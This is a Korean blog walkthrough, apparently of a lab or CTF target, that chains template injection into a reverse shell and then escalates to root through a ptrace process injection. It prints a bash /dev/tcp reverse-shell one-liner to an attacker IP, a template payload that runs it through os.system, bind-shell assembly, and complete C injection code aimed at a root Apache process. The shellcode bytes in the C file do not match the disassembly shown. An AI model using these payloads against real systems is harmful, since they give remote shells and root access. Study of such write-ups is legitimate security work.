리버스 쉘 연결 수립

  • 이전 글에서 명령어 작동 가능 여부를 확인했으니 프로그램이 실행되는 동안 리버스 쉘을 연결할 수 있는 코드를 작성한다
  • 서버 측에 bash 쉘이 존재하는 것을 확인했으므로 인터랙티브 bash 쉘 연결을 시도한다.
  • 보안 강화 리눅스 실행 중이면 인터랙티브 bash는 작동하지 않기 때문에...
bash -i >& /dev/tcp/192.168.166.128/443 0>&1
  • 인터랙티브 bash 쉘을 열고 기다린다
  • 파일 디스크립터를 공격자 IP쪽으로 열어준다.
{% import os %}
{{os.system('bash -c "bash -i >& /dev/tcp/192.168.166.128/443 0>&1"')}}
  • 문자열을 그대로 명령어로 받아야 하므로 -c 옵션을 사용하여 묶어준다.

  • 공격자 측에서 연결 대기를 시키고

  • 서버 측에서 인터랙티브 bash 쉘을 실행한다.
  • 쉘 연결이 끊어질 때 까지 프로그램이 작동하므로, 응답은 오지 않는다.

  • 서버 측 연결에 성공하여 정상적으로 명령어가 실행되는 것을 볼 수 있다.

권한 상승

기능 설명

  • 파이썬 코드 실행 가능 - 파이썬 2.7 실행 가능함을 확인할 수 있다.

    • ptrace : 프로세스 트레이스 / 프로세스를 관찰, 조작하기 위한 시스템 콜.
    • ptrace의 기능 중 PIR (프로세스 인스트럭션 레지스터)를 미리 작성한 쉘 코드 주소로 하나 씩 덮어써서 삽입 코드를 실행시킨다.
    • getcap 기능을 사용하면 부여된 권한을 확인 할 수 있다
    • 파이썬 ptrace 사용 가능
  • cve 2019 0211

    • 아파치의 취약점
    • 하위 권한을 가진 자식 프로세스나 스레드가 부모(주로 루트) 권한으로 임의의 코드를 실행할 수 있는 취약점이다.
    • 아파치가 루트권한으로 돌아가는 것을 확인
  • 시스템 콜 사용

    • 어셈블리를 사용하여 쉘 코드를 작성한다
    • 새로운 연결을 열고 수립하는 코드를 작성한다
    • 해당 연결을 수립하는 코드를 루트 권한으로 삽입하면 루트 권한 연결 수립이 가능하다

위 기능들을 사용하여 권한 상승을 시켜본다.

루트권한 연결을 수립하는 어셈블리 코드

  • 해당 어셈블리 코드는 새로운 연결을 수립 한 후 해당 연결을 dash 쉘로 연결하는 코드이다
  • 이하 GDB 원문 // 뒤로는 주요 기능에 대한 주석
Disassembly of section .text:

0000000000400080 <.text>:
  400080:	48 31 c0             	xor    %rax,%rax
  400083:	48 31 d2             	xor    %rdx,%rdx
  400086:	48 31 f6             	xor    %rsi,%rsi
  400089:	ff c6                	inc    %esi
  40008b:	6a 29                	pushq  $0x29
  40008d:	58                   	pop    %rax
  40008e:	6a 02                	pushq  $0x2
  400090:	5f                   	pop    %rdi
  400091:	0f 05                	syscall // 시스템 콜 / sys_socket / int family = 0x2
  400093:	48 97                	xchg   %rax,%rdi
  400095:	6a 02                	pushq  $0x2
  400097:	66 c7 44 24 02 15 e0 	movw   $0xe015,0x2(%rsp) // 5600(포트지정) - 리틀 엔디언 방식으로 메모리에 탑재되므로 0056을 넣는다
  40009e:	54                   	push   %rsp
  40009f:	5e                   	pop    %rsi
  4000a0:	52                   	push   %rdx
  4000a1:	6a 31                	pushq  $0x31
  4000a3:	58                   	pop    %rax
  4000a4:	6a 10                	pushq  $0x10
  4000a6:	5a                   	pop    %rdx
  4000a7:	0f 05                	syscall // 시스템 콜 / sys_bind / rdi = &sd / rdx = 0x10
  4000a9:	5e                   	pop    %rsi
  4000aa:	6a 32                	pushq  $0x32
  4000ac:	58                   	pop    %rax
  4000ad:	0f 05                	syscall // 시스템 콜 / sys_listen / rdi = &sd
  4000af:	6a 2b                	pushq  $0x2b
  4000b1:	58                   	pop    %rax
  4000b2:	0f 05                	syscall // 시스템 콜 / sys_accept / rdi = &sd
  4000b4:	48 97                	xchg   %rax,%rdi
  4000b6:	6a 03                	pushq  $0x3
  4000b8:	5e                   	pop    %rsi
  4000b9:	ff ce                	dec    %esi
  4000bb:	b0 21                	mov    $0x21,%al
  4000bd:	0f 05                	syscall // 시스템 콜 / sys_dup2 / 
  4000bf:	75 f8                	jne    0x4000b9
  4000c1:	f7 e6                	mul    %esi
  4000c3:	52                   	push   %rdx
  4000c4:	48 bb 2f 62 69 6e 2f 	movabs $0x68732f2f6e69622f,%rbx // rbx에 '/bin//sh'
  4000cb:	2f 73 68 
  4000ce:	53                   	push   %rbx
  4000cf:	48 8d 3c 24          	lea    (%rsp),%rdi
  4000d3:	b0 3b                	mov    $0x3b,%al
  4000d5:	0f 05                	syscall // 시스템 콜 / sys_execve / 
  • 어셈블리어는 rax 레지스터에 든 숫자로 호출 할 시스템 콜을 정하고
  • 각 인자는 별개 레지스터에 넣는다
  • 아래에 각 시스템콜을 호출 순서대로 설명한다

어셈블리에 사용 된 시스템 콜 해설

sys_socket

  • 통신 엔드포인트(소켓)를 생성하고 해당 소켓 디스크립터를 반환한다
  • 리턴 받은 소켓 디스크립터를 바인드 하여 통신 입출력이 가능하다

sys_bind

  • 소켓이 열려있고 주소가 바인드 되어있지 않을 때 특정 주소를 해당 소켓에 바인드 한다

sys_listen

  • 입력 받은 파일 디스크립터 소켓을 패시브 소켓으로 지정한다.
  • 이는 들어오는 연결을 감지하고, accept로 연결을 수립하도록 한다.

sys_accept

  • 열려있는 소켓에 대기 중인 연결 큐에서 첫 번째 연결을 수립하고 해당 연결 파일 디스크립터를 반환한다
  • 반환 된 연결은 패시브 상태가 아니며, 이전 소켓은 영향을 받지 않는다.

sys_dup2

  • 입력받은 파일 디스크립터와 같은 파일의 디스크립터를 반환한다.
  • 반환 되는 디스크립터는 호출 프로세스에 사용되지 않는 디스크립터 중 가장 낮은 번호를 할당받는다.

sys_execve

  • 현재 프로세스를 입력 받은 실행 파일로 대체한다
  • PID, 실행자, 권한 등이 계승된다.

어셈블리 실행 과정 설명

  1. 통신 엔드포인트 생성, 소켓 디스크립터 저장
  2. 소켓 디스크립터와 파일 디스크립터 바인드
  3. 통신 연결 대기(수신 모드)
  4. 들어온 통신 연결 수립, 파일 디스크립터 저장
  5. 파일 디스크립터 복사
  6. 복사된 파일 디스크립터를 가지고 현재 프로세스를 dash 쉘로 전환 - 이때, PID, 실행자, 권한이 계승됨
  • 이때 본래 입력된 PID는 dash쉘로 계승되며
  • 복사된 파일디스크립터로 생성된 새로운 PID가 복구될 프로세스에 배정된다

어셈블리 코드를 쉘 코드로 포함하는 C 코드

  • 파이썬은 C 모듈을 그대로 사용할 수 있으므로 C로 코딩 후 컴파일하여 모듈로 사용할 예정
  • 서버와 같은 환경의 GCC를 이용하여 컴파일 할 필요가 있다.
  • 미리 작성한 어셈블리 코드는 머신 레벨에서 돌아야 하므로 GDB를 이용하여 쉘 코드로 변환한다.
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>

#include <sys/ptrace.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <unistd.h>

#include <sys/user.h>
#include <sys/reg.h>

#define SHELLCODE_SIZE 32

unsigned char *shellcode = 
  "\x48\x31\xc0\x48\x89\xc2\x48\x89"
  "\xc6\x48\x8d\x3d\x04\x00\x00\x00"
  "\x04\x3b\x0f\x05\x2f\x62\x69\x6e"
  "\x2f\x73\x68\x00\xcc\x90\x90\x90";


int inject_data (pid_t pid, unsigned char *src, void *dst, int len) // 인젝션 시작
{
  int      i;
  uint32_t *s = (uint32_t *) src;
  uint32_t *d = (uint32_t *) dst;

  for (i = 0; i < len; i+=4, s++, d++)  // 프로세스 길이만큼 인스트럭션 레지스터 덮어쓰기
  /*
  rip 는 인스트럭션 포인터 레지스터
  셸코드를 저장해놓은 주소를 인스트럭션 포인터 레지스터에 하나씩 덮어써서 코드를 강제 실행 시킨   다
  */
    {
      if ((ptrace (PTRACE_POKETEXT, pid, d, *s)) < 0) // 실패하면 -1 반환
	{
	  perror ("ptrace(POKETEXT):");
	  return -1;
	}
    }
  return 0;
}

int main (int argc, char *argv[])            // 메인 start
{
  pid_t                   target;
  struct user_regs_struct regs;
  int                     syscall;
  long                    dst;

  if (argc != 2)   // 프로세스 번호 입력 안된 경우 오류
    {
      fprintf (stderr, "Usage:\n\t%s pid\n", argv[0]);
      exit (1);
    }
  target = atoi (argv[1]);
  printf ("+ Tracing process %d\n", target);

  if ((ptrace (PTRACE_ATTACH, target, NULL, NULL)) < 0)  // 입력된 프로세스 attach
    {
      perror ("ptrace(ATTACH):");
      exit (1);
    }

  printf ("+ Waiting for process...\n");
  wait (NULL);

  printf ("+ Getting Registers\n");
  if ((ptrace (PTRACE_GETREGS, target, NULL, &regs)) < 0)  // 프로세스 레지스터 복사
    {
      perror ("ptrace(GETREGS):");
      exit (1);
    }
  

  /* Inject code into current RPI position */

  printf ("+ Injecting shell code at %p\n", (void*)regs.rip);
  inject_data (target, shellcode, (void*)regs.rip, SHELLCODE_SIZE); // 인젝션 시작

  regs.rip += 2;
  printf ("+ Setting instruction pointer to %p\n", (void*)regs.rip);

  if ((ptrace (PTRACE_SETREGS, target, NULL, &regs)) < 0)  // 복사한 레지스터 복귀 - 프로그램 정상화
    {
      perror ("ptrace(GETREGS):");
      exit (1);
    }
  printf ("+ Run it!\n");

 
  if ((ptrace (PTRACE_DETACH, target, NULL, NULL)) < 0)
	{
	  perror ("ptrace(DETACH):");
	  exit (1);
	}
  return 0;

}

C코드에 사용된 ptrace 함수 해설

ptrace란

  • 어떤 프로세스를 자신의 자식 프로세스로 만들고, 해당 프로세스를 관찰, 제어하는 함수

사용 한 주요 기능

PTRACE_POKETEXT : 부모 프로세스 메모리 주소에서 자식 프로세스 메모리 주소로 데이터 복사

  • 이것은 기계어 라인을 만들고 인스트럭션 포인터를 조작하여 다음 명령을 삽입할 수 있음을 의미한다

PTRACE_GETREGS : 자식 프로세스의 레지스터 내용을 읽는다

PTRACE_SETREGS : 자식 프로세스 레지스터 내용을 수정한다

PTRACE_ATTACH : 지정 프로세스를 자식 프로세스로 연결한다

PTRACE_DETACH : 자식 프로세스를 연결 해제한다

C코드 실행 과정 설명

  1. 입력 값 부족 등 에러체크
  2. 입력된 PID의 프로세스를 ptrace attach
  3. 프로세스 레지스터 복사 - 현 상태를 저장함
  4. 인젝션 시작
  5. 미리 정의해둔 쉘 코드의 주소를 인스트럭션 레지스터에 덮어쓴다
  6. 위 과정을 쉘 코드 길이만큼 반복
  7. 인젝션 종료
  8. 복사해둔 프로세스 레지스터를 덮어쓰기 - 상태 복구 - 이때 새로운 pid로 루트권한의 아파치 서버가 다시 올라간다.
  9. ptrace detach

위 코드를 사용하여 루트 권한의 dash쉘 연결을 수립한다.

C언어 컴파일을 위해 환경을 새로 올리고 검증하는 과정이 번거로운 관계로 같은 방식으로 미리 작성된 파이썬 코드를 활용한다.

연결 수립

작성한 코드를 깃허브에 퍼블릭으로 올리고, wget로 받아온다.

정상적으로 파일이 받아진 것을 확인한다.

  • 위에서부터
  1. 아파치의 PID를 확인하고
  2. PID 를 입력하여 인젝션 파이썬 코드를 실행한다
  3. ss 로 열려있는 소켓을 확인한다 - 옵션 - t : TCP포트 / n : 포트이름 숫자로 / l : 듣기상태 포트 표시 / p : 프로세스 명 표시 (스크린샷에 잘림)
  4. 5600 포트로 연결 대기중인 것을 볼 수 있다.

이후 공격 측 셀에서 NC로 연결해주면 루트 권한을 확인할 수 있다.

profile
우리는 울지 않는 부엉이요, 발자국 없는 범이다.

0개의 댓글